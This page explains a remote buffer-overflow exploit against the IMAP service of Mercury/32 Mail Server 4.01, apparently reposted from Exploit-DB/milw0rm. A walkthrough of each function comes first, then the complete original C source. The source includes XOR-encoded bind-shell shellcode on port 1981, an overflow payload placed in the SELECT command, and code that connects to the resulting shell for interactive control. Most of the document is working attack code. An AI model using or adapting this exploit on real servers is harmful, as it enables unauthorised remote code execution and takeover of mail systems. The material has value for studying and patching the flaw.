Mercury/32 Mail Server 4.01 'Pegasus' IMAP Buffer Overflow Explained

Mercury/32 Mail Server 4.01 'Pegasus' IMAP Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the IMAP service of Mercury/32 Mail Server version 4.01. The exploit, written by JohnH, allows an attacker to gain remote code execution on a vulnerable server. It achieves this by sending a specially crafted IMAP command that overwrites the server's memory, redirecting execution to a shellcode payload.
Simple technical breakdown
The vulnerability lies in how the Mercury/32 IMAP service handles long input strings for the SELECT command. When a sufficiently long string is provided, it overflows a buffer on the server's stack. This overflow can be used to overwrite critical control data, such as the return address, with a value that points to attacker-controlled code.
The exploit works in two main stages:
- Triggering the overflow: The exploit sends a malformed
SELECTcommand. This command contains a large amount of padding data followed by a "jump to shellcode" instruction. The padding overwrites the buffer and then the return address. - Executing the shellcode: When the vulnerable function returns, instead of going back to its normal execution path, it jumps to the attacker's shellcode. This shellcode is designed to establish a reverse or bind shell, allowing the attacker to interact with the compromised server.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down its components:
Header and Includes
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>
#define version "1.0"
int usage(char *p);- Purpose: These lines include standard C library headers necessary for network programming, input/output, memory manipulation, and general utilities.
#define version "1.0": Defines a version string for the exploit, though it's not actively used in the execution logic.int usage(char *p);: Declares a functionusagewhich will be used to display help information.
Shellcode (sc_bind)
char sc_bind[] =
//decoder
"\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
//XOR with 0x96 (267 0x10B bytes)
"\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C"
// ... (rest of the shellcode bytes) ...
"\x45\x59\x34\x53"; //decoder end sign- Purpose: This is the actual machine code (shellcode) that will be executed on the target system after the buffer overflow. This specific shellcode is designed to create a "bind shell" on port 1981.
- Breakdown:
- Decoder Stub: The initial bytes (
\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74\x05\xE8\xEC\xFF\xFF\xFF) are a small decoder. This stub likely decrypts or unpacks the main payload. The\xEB\x0Fis a short jump,\x5Bispop ebx, and the subsequent bytes are instructions to set up a loop for XOR decryption. The\xE8\xEC\xFF\xFF\xFFis a relative call to the start of the main payload. - Main Payload (
sc_bind_1981): The bulk of thesc_bindarray contains the actual shellcode. The comment indicates it's "sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s" and is XORed with0x96. This means the bytes as written are encrypted, and the decoder stub will XOR them with0x96to reveal the executable instructions. - Functionality of
sc_bind_1981(inferred): Based on the name and common shellcode patterns, this part of the shellcode will:- Create a socket.
- Bind that socket to port 1981 on the target machine.
- Listen for incoming connections.
- Accept a connection.
- Duplicate the standard input, output, and error file descriptors to the accepted socket, effectively creating a command shell accessible via the network.
- Decoder End Sign: The final bytes
\x45\x59\x34\x53likely serve as a marker for the decoder to know where the encrypted payload ends.
- Decoder Stub: The initial bytes (
Global Variables
int iType; // Not used in the provided code
int iPort=143; // Default IMAP port
char *ip=NULL; // Target IP address
char username[256]; // Username for login
char password[256]; // Password for login- Purpose: These variables store configuration and input parameters for the exploit.
main function
int main(int argc, char **argv)
{
int c;
if(argc < 2)
{
usage(argv[0]);
return 0;
}
while((c = getopt(argc, argv, "u:P:h:p:")) != EOF) {
switch(c) {
case 'u':
strncpy(username, optarg, sizeof (username) - 1);
break;
case 'P':
strncpy(password, optarg, sizeof (password) - 1);
break;
case 'h':
ip=optarg;
break;
case 'p':
iPort=atoi(optarg);
break;
default:
usage (argv[0]);
return 0;
}
}
if((!ip))
{
usage(argv[0]);
printf("[-] Invalid parameter.\n");
return 0;
}
SendExploit();
return 0;
}- Purpose: This is the entry point of the program. It handles command-line argument parsing and initiates the exploit process.
- Breakdown:
- Argument Check:
if(argc < 2)checks if any arguments were provided. If not, it callsusage. getoptLoop: This loop parses command-line options:-u <username>: Sets theusernamevariable.-P <password>: Sets thepasswordvariable.-h <host>: Sets the target IP address (ip).-p <port>: Sets the target IMAP port (iPort).
- IP Address Check:
if((!ip))ensures that a target host (-h) was provided. - Call
SendExploit(): If all necessary parameters are present, it calls theSendExploitfunction to perform the attack.
- Argument Check:
shell function
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds); // Monitor stdin
FD_SET (sock, &rfds); // Monitor the socket
select (sock + 1, &rfds, NULL, NULL, NULL); // Wait for activity
if (FD_ISSET (0, &rfds)) { // If stdin has data
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l); // Send to remote
}
if (FD_ISSET (sock, &rfds)) { // If socket has data
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l); // Write to stdout
}
}
}- Purpose: This function creates an interactive shell session. It bridges the local standard input/output with the remote shell established by the shellcode.
- Breakdown:
fd_set rfds;: A file descriptor set used withselectto monitor multiple file descriptors (stdin and the network socket).while (1): An infinite loop to keep the shell session alive.FD_SET: Adds file descriptor 0 (standard input) and the providedsock(the network socket connected to the remote shell) to therfdsset.select: This system call blocks until one of the monitored file descriptors becomes ready for reading.FD_ISSET(0, &rfds): Checks if standard input is ready. If so, it reads data from stdin and writes it to the remote socket.FD_ISSET(sock, &rfds): Checks if the remote socket is ready. If so, it reads data from the socket and writes it to standard output.- Error Handling: Includes checks for connection closure or read failures.
SendExploit function
int SendExploit()
{
struct hostent *he;
struct in_addr in;
struct sockaddr_in peer;
int iErr, s,s2;
int x;
char buffer[9000]; // Buffer for the exploit payload
char buffer2[9000]; // Buffer for login credentials
char szRecvBuff[0x1000]; // Buffer for receiving initial server responses
char *ip2=NULL; // To store the IP address for the second connection
printf( "MERCURY32 Imap exploit\n");
printf( "By: JohnH@secnetops.com\n");
printf("[+] Entering God Mode\n");
// Login
memset(buffer2,0x0,sizeof(buffer2));
strcat(buffer2,"a001 LOGIN ");
strcat(buffer2,username);
strcat(buffer2," ");
strcat(buffer2,password);
strcat(buffer2,"\n");
// Construct the overflow payload
bzero (buffer,sizeof(buffer));
strcat(buffer,"a001 SELECT "); // IMAP SELECT command
x = strlen(buffer);
memset(buffer+x,0x41,260); // 260 bytes of 'A' (padding)
x+=260;
*(unsigned int *)&buffer[x] = 0x01f9c8fa; // Overwrite return address (specific to target OS/service)
x+=4;
memset(buffer+x,0x90,100); // 100 bytes of NOP sled
x+=100;
memcpy (buffer+x, sc_bind, strlen(sc_bind)); // Copy the shellcode
x+=strlen(sc_bind);
memcpy(buffer+x,"\r\n",2); // CRLF terminator for IMAP command
x+=2;
// Resolve target IP and connect to IMAP port
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
peer.sin_family = AF_INET;
peer.sin_port = htons(iPort);
peer.sin_addr.s_addr = inet_addr(ip); // Use inet_addr for direct IP string
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror("socket");
return(0);
}
if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf("[+] connect to %s:%d success.\n", ip, iPort);
sleep(3); // Give server time to process
// Send login credentials
memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = send(s, buffer2, strlen(buffer2),0);
printf("[+] Sent: %d\n", iErr);
// Send the exploit payload
iErr = send(s, buffer, x,0);
printf("[+] Sent: %d\n", iErr);
printf("[+] Wait for shell.\n");
// Resolve target IP again for the shell connection (redundant, but harmless)
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
ip2 = in.s_addr; // Store the IP address as a 32-bit integer
// Connect to the bind shell port (1981)
sleep(5); // Wait for the shellcode to execute and bind the shell
peer.sin_family = AF_INET;
peer.sin_port = htons(1981); // Port opened by the shellcode
peer.sin_addr.s_addr = ip2; // Target IP address
s2 = socket(AF_INET, SOCK_STREAM, 0);
if (s2 < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf ("[+] We got a shell \n");
shell(s2); // Start the interactive shell session
return 0;
}- Purpose: This function orchestrates the exploit. It connects to the target, sends the login, crafts and sends the overflow payload, and then connects to the shell established by the shellcode.
- Breakdown:
- Variable Declarations: Declares necessary variables for socket operations, buffers, and host resolution.
- Login Payload Construction (
buffer2): Creates an IMAPLOGINcommand string using the provided username and password. - Exploit Payload Construction (
buffer):bzero(buffer, sizeof(buffer));: Clears the exploit buffer.strcat(buffer, "a001 SELECT ");: Starts with an IMAPSELECTcommand. Thea001is an IMAP tag.x = strlen(buffer);: Gets the current length of the buffer.memset(buffer+x, 0x41, 260);: Fills 260 bytes with the ASCII character 'A' (0x41). This is the primary overflow data.x+=260;: Advances the buffer pointer.*(unsigned int *)&buffer[x] = 0x01f9c8fa;: This is the crucial part. It writes a 4-byte value (likely a specific address) at the location where the function's return address is stored on the stack. This address is the target for redirection. The value0x01f9c8fais a hardcoded address, which implies it's specific to a particular version and configuration of Windows and Mercury/32.x+=4;: Advances the buffer pointer.memset(buffer+x, 0x90, 100);: Fills 100 bytes with the NOP instruction (0x90). This is a "NOP sled" which helps ensure execution lands somewhere within the shellcode, even if the exact jump address is slightly off.x+=100;: Advances the buffer pointer.memcpy(buffer+x, sc_bind, strlen(sc_bind));: Copies the shellcode into the buffer after the NOP sled.x+=strlen(sc_bind);: Advances the buffer pointer.memcpy(buffer+x, "\r\n", 2);: Appends the Carriage Return and Line Feed characters, which are the standard terminators for IMAP commands.x+=2;: Advances the buffer pointer.xnow holds the total size of the crafted exploit payload.
- Initial Connection:
- Resolves the target IP address using
gethostbyname. - Sets up the
sockaddr_instructure for the IMAP connection. - Creates a TCP socket (
socket). - Connects to the target IMAP port (
connect).
- Resolves the target IP address using
- Sending Data:
- Sends the
LOGINcommand (buffer2). - Sends the crafted
SELECTcommand with the overflow payload (buffer).
- Sends the
- Establishing Shell:
- Waits for 5 seconds (
sleep(5)) to allow the shellcode on the server to execute and bind the shell. - Sets up a new
sockaddr_instructure for the bind shell port (1981). - Creates a new socket (
s2). - Connects to the target on port 1981 (
connect).
- Waits for 5 seconds (
- Interactive Shell:
- If the connection to port 1981 is successful, it calls the
shellfunction to provide an interactive command prompt.
- If the connection to port 1981 is successful, it calls the
usage function
int usage(char *p)
{
printf("MERCURY32 Imap Remote Exploit\n");
printf("By: JohnH@secnetops.com\n");
printf( "Usage: %s <-u username> <-p password> <-h host> <-p port>\n",p);
exit(0);
}- Purpose: Displays help information to the user if the program is run incorrectly or without sufficient arguments.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/* whitehat.co.il comments removed do to muts love */
/** Remote Mercury32 Imap exploit
** By: JohnH@secnetops.com
**/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>
#define version "1.0"
int usage(char *p);
char sc_bind[] =
//decoder
"\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
//XOR with 0x96 (267 0x10B bytes)
"\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C"
"\xA5\x7F\x2D\x55\x38\x50\xBD\x2B\xB8\x48\xC1\xE4\x32\xB2\x24\xA4"
"\x96\x98\xCB\x5D\x48\xE2\xB4\xF5\x5E\xC9\xFC\xA6\xCD\xF2\x1D\x95"
"\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\xFC\x92\xCF\x7E\x12\x96"
"\x96\x96\x74\x6F\x23\x95\xBD\x77\xFE\xA5\xA4\x96\x96\xFE\xE1\xE5"
"\xA4\xC9\xC2\x69\xC1\x6E\x03\xFC\x93\xCF\x7E\xF1\x96\x96\x96\x74"
"\x6F\x1D\x61\xC7\xFE\x94\x96\x91\x2B\x1D\x7A\xC7\xC7\xC7\xC7\xFC"
"\x97\xFC\x94\x69\xC0\x66\x05\xFC\x86\xC3\xC5\x69\xC0\x62\xC6\xC5"
"\x69\xC0\x6E\x1D\x6A\xFC\x98\xCF\x3D\x74\x6B\xC6\xC6\xC5\x69\xC0"
"\x6A\x3D\x3D\x3D\xF0\x51\xD2\xB2\xBA\x97\x97\x1D\x42\xFE\xF5\xFB"
"\xF2\x96\x1D\x5A\xC5\xC6\xC1\xC4\xA5\x4D\xC5\xC5\xC5\xFC\x97\xC5"
"\xC5\xC7\xC5\x69\xC0\x76\xFC\x69\x69\xA1\x69\xC0\x4A\x69\xC0\x7A"
"\x69\xC0\x7A\x69\xC0\x7E\xC7\x1D\xE3\xAA\x1D\xE2\xB8\xEE\x95\x63"
"\xC0\x1D\xE0\xB6\x95\x63\xA5\x5F\xDF\xD7\x3B\x95\x53\xA5\x4D\xA5"
"\x44\x99\x28\x86\xAC\x40\xE2\x9E\x57\x5D\x8D\x95\x4C\xD6\x7D\x79"
"\xAD\x89\xE3\x73\xC8\x1D\xC8\xB2\x95\x4B\xF0\x1D\x9A\xDD\x1D\xC8"
"\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x3D\xCF\x55"
//decoder end sign
"\x45\x59\x34\x53";
int iType;
int iPort=143;
char *ip=NULL;
char username[256];
char password[256];
int main(int argc, char **argv)
{
int c;
if(argc < 2)
{
usage(argv[0]);
return 0;
}
while((c = getopt(argc, argv, "u:P:h:p:")) != EOF) {
switch(c) {
case 'u':
strncpy(username, optarg, sizeof (username) - 1);
break;
case 'P':
strncpy(password, optarg, sizeof (password) - 1);
break;
case 'h':
ip=optarg;
break;
case 'p':
iPort=atoi(optarg);
break;
default:
usage (argv[0]);
return 0;
}
}
if((!ip))
{
usage(argv[0]);
printf("[-] Invalid parameter.\n");
return 0;
}
SendExploit();
return 0;
}
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int SendExploit()
{
struct hostent *he;
struct in_addr in;
struct sockaddr_in peer;
int iErr, s,s2;
int x;
char buffer[9000];
char buffer2[9000];
char szRecvBuff[0x1000];
char *ip2=NULL;
printf( "MERCURY32 Imap exploit\n");
printf( "By: JohnH@secnetops.com\n");
printf("[+] Entering God Mode\n");
// Login
memset(buffer2,0x0,sizeof(buffer2));
strcat(buffer2,"a001 LOGIN ");
strcat(buffer2,username);
strcat(buffer2," ");
strcat(buffer2,password);
strcat(buffer2,"\n");
bzero (buffer,sizeof(buffer));
strcat(buffer,"a001 SELECT ");
x = strlen(buffer);
memset(buffer+x,0x41,260);
x+=260;
*(unsigned int *)&buffer[x] = 0x01f9c8fa;
x+=4;
memset(buffer+x,0x90,100);
x+=100;
memcpy (buffer+x, sc_bind, strlen(sc_bind));
x+=strlen(sc_bind);
memcpy(buffer+x,"\r\n",2);
x+=2;
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
peer.sin_family = AF_INET;
peer.sin_port = htons(iPort);
peer.sin_addr.s_addr = inet_addr(ip);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror("socket");
return(0);
}
if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf("[+] connect to %s:%d success.\n", ip, iPort);
sleep(3);
memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = send(s, buffer2, strlen(buffer2),0);
printf("[+] Sent: %d\n", iErr);
iErr = send(s, buffer, x,0);
printf("[+] Sent: %d\n", iErr);
printf("[+] Wait for shell.\n");
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
ip2 = in.s_addr;
sleep(5);
peer.sin_family = AF_INET;
peer.sin_port = htons(1981);
peer.sin_addr.s_addr = ip2;
s2 = socket(AF_INET, SOCK_STREAM, 0);
if (s2 < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf ("[+] We got a shell \n");
shell(s2);
return 0;
}
int usage(char *p)
{
printf("MERCURY32 Imap Remote Exploit\n");
printf("By: JohnH@secnetops.com\n");
printf( "Usage: %s <-u username> <-p password> <-h host> <-p port>\n",p);
exit(0);
}
// milw0rm.com [2004-11-30]